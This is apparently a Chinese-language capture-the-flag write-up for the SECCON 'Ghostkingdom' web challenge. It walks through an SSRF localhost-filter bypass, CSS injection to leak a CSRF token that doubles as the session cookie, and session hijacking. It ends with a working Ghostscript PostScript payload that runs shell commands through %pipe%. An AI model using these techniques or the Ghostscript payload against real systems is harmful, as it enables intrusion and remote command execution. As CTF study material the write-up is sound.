最近刚好在研究XSS的东西,今晚本来备课,看到这道好题环境还在,就做一下吧
Ghostkingdom
http://ghostkingdom.pwn.seccon.jp/FLAG/
注册登录整理下思路
初步猜想是通过xss+csrf去上传图片
然后可能有一个截图的点,猜测的话是一个SSRF的点,暂时不知道怎么利用
注意到有csrf的token
- 发现cookie和csrf的token值是一样的
- 发现登录接口是一个get请求
重新看一下发送消息的点
这是我们消息的预览
按照我们的猜测尝试了XSS,但是<>被过滤了
这种情况的话基本常规的XSS肯定是走不通了,所以我们没办法打到cookie
再看看截图的点,截图的点会访问指定的url并且进行截图,所以肯定是能够触发SSRF的
输了个localhost发现有waf,ban掉了127, ::1, local
用0.0.0.0可以绕过,成功
跟进一下思路
- 不能直接用xss打到cookie
- 能够打到服务端的SSRF,不过好像暂时只能返回一个截图(卵用
到这里思路卡住了,感觉没有什么可控的点
又倒回去看了下发消息的两个点,原来是有区别的(ctfer不需要视力,摔
这里的请求格式是这样的1
?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=kkkkk&action=msgadm2
不难看出这个css是base64的(所以我刚开始在第一个提交框测试了半天都是乱码,再摔
看到输出是在style标签里面的,可以想到css也能注入,用途就是获取前端信息
而再回到我们开始注意到的,cookie的值和csrf-token是一致的
所以我们尝试注入css代码来获取这个token
写一个exp来构造payload,然后利用ssrf去加载这个链接
需要先登录,看来开始发现的登录接口为get在这里就用得上了(所以反常的地方都是肯能有问题的
然后用我们的账号登录一下,截图是登录成功了
payload再打一遍上去
服务器成功收到信息
但是他妈只能逐位爆破,而且每次要和服务器交互,又不会写bash脚本(应该说有我写脚本的时间我都跑出来了
只能手动了。。。
(web狗要学的真多
苦逼的爆破了好久csrf=5e88059db48f744f9a9923
改了下cookie,登录成功
所以现在我们能上传图片了
报错有一些可用信息
这是八月份底爆出的Ghostscript命令执行的漏洞
目录已经给了,ls一下可以看到flag文件,直接cat1
2
3
4
5
6%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops